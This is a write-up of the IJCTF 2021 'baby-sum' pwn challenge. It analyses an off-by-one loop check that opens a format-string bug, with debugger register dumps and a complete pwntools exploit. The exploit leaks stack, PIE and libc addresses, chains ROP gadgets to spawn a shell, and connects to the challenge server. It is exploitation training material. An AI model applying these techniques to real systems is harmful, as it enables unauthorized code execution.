ctf pwn
IJCTF 2021
format string
Baby-sum pwn challenge from IJCTF 2021.
The author for the challenge is @whoamiT and it is solved by @thonk.
Take note of the red underline. The binary first takes in a name input and subsequent 3 number input.
There are 3 main vulnerabilities:
calc+0x7A
. JG
is used instead of JGE
.The vulnerability block in IDA Pro is below:
Looking at the sample binary output above, the program mentions that it only supports the input of 3 numbers. In addition, we can see that the program indeed ends after 3 numbers.
Refering to the IDA block above, at calc+0x75
, there is a comparison with 2. The counter starts from 0. So in the third iteration, the counter has a value of 2. In the next line, the program did not take the intended jump to exit out of the loop. This is because the comparison is a greater than 2 comparison. In this case, it will continue to do a fourth scanf.
However, the reason why the fourth scanf did not happen in a normal execution is because we did not give it a proper format argument for the fourth scanf. The program did run the fourth scanf. However after seeing the wrong format, it does not continue to take in user input. Hence, with the invalid format, we actually will not trigger the scanf. A proper format, for example %10s
is required.
Note that in the 3rd scanf, the destination address (rsi) is used for the format argument (rdi) in the 4th scanf.
1st scanf:
__isoc99_scanf@plt (
$rdi = 0x00007fffffffe3e0 โ 0x0000000000733825 ("%8s"?),
$rsi = 0x00007fffffffe3d0 โ 0x0000000000000000,
$rdx = 0x00007fffffffe3d0 โ 0x0000000000000000
)
2nd scanf:
__isoc99_scanf@plt (
$rdi = 0x00007fffffffe3e0 โ 0x0000000000733825 ("%8s"?),
$rsi = 0x00007fffffffe3d8 โ 0x0000000000000000,
$rdx = 0x00007fffffffe3d8 โ 0x0000000000000000
)
3rd scanf:
__isoc99_scanf@plt (
$rdi = 0x00007fffffffe3e0 โ 0x0000000000733825 ("%8s"?),
$rsi = 0x00007fffffffe3e0 โ 0x0000000000733825 ("%8s"?),
$rdx = 0x00007fffffffe3e0 โ 0x0000000000733825 ("%8s"?)
)
4th scanf:
__isoc99_scanf@plt (
$rdi = 0x00007fffffffe3e0 โ 0x0000007324333125 ("%13$s"?),
$rsi = 0x00007fffffffe3e8 โ 0x00007fffffffe3c7 โ 0x005555555552ff00,
$rdx = 0x00007fffffffe3e8 โ 0x00007fffffffe3c7 โ 0x005555555552ff00
)
In order to gain RIP control, we need to be able to trigger the fourth scanf. To do that, we need to choose a specific offset so that the program will not crash when we trigger the printf format string. This explains why the solution uses %2$s
.
After fulfilling the above condition, it is easy to exploit with the below steps:
Solution below credited to @thonk.
from pwn import *
conn = remote('35.244.10.136',10252)
elf = ELF('./baby-sum')
conn.recvuntil('generous leak for you: ')
stack_leak = int(conn.recvline().strip(),0)
print(f'Stack leak: {hex(stack_leak)}')
conn.sendline(b'A'*0x10 + b'B'*0x18 + p64(stack_leak+0x37)+b'A'*0x17)
conn.sendlineafter('> ',b'%6$p')
conn.recvuntil('> ')
pie_leak = int(conn.recvline().strip(),0)
pie_base = pie_leak - 0x10e0
pop_rdi = 0x00001433
pop_rsi = 0x00001431
print(f'Pie base: {hex(pie_base)}')
conn.sendlineafter('> ',b'%2$s')
rop_chain = [
pie_base + pop_rdi,
pie_base + elf.got['puts'],
pie_base + elf.sym.puts,
pie_base + pop_rdi,
stack_leak + 0x98,
pie_base + pop_rsi,
stack_leak + 0x80,
0x10,
pie_base + 0x00001138, #ret
pie_base + elf.sym.__isoc99_scanf
]
conn.sendlineafter('> ',b'B'*0x8 + b'C'*0x8 + p64(stack_leak)+b'D'*0x8 + flat(rop_chain,arch='amd64') + b'%s')
conn.recvlines(2)
binsh = 0x1b75aa
system = 0x55410
libc_leak = u64(conn.recvline().strip() + b'\0\0')
libc_base = libc_leak - 0x875a0
print(f'Libc leak: {hex(libc_base)}')
rop_chain_2 = [
b'A'*0x18,
pie_base + pop_rdi,
libc_base + binsh,
pie_base + 0x1138,
libc_base + system
]
conn.sendline(flat(rop_chain_2,arch='amd64'))
conn.interactive()
Solution and my own work can also be found here:
https://github.com/cddc12346/RandomCTFs/tree/master/IJCTF 2021/baby-sum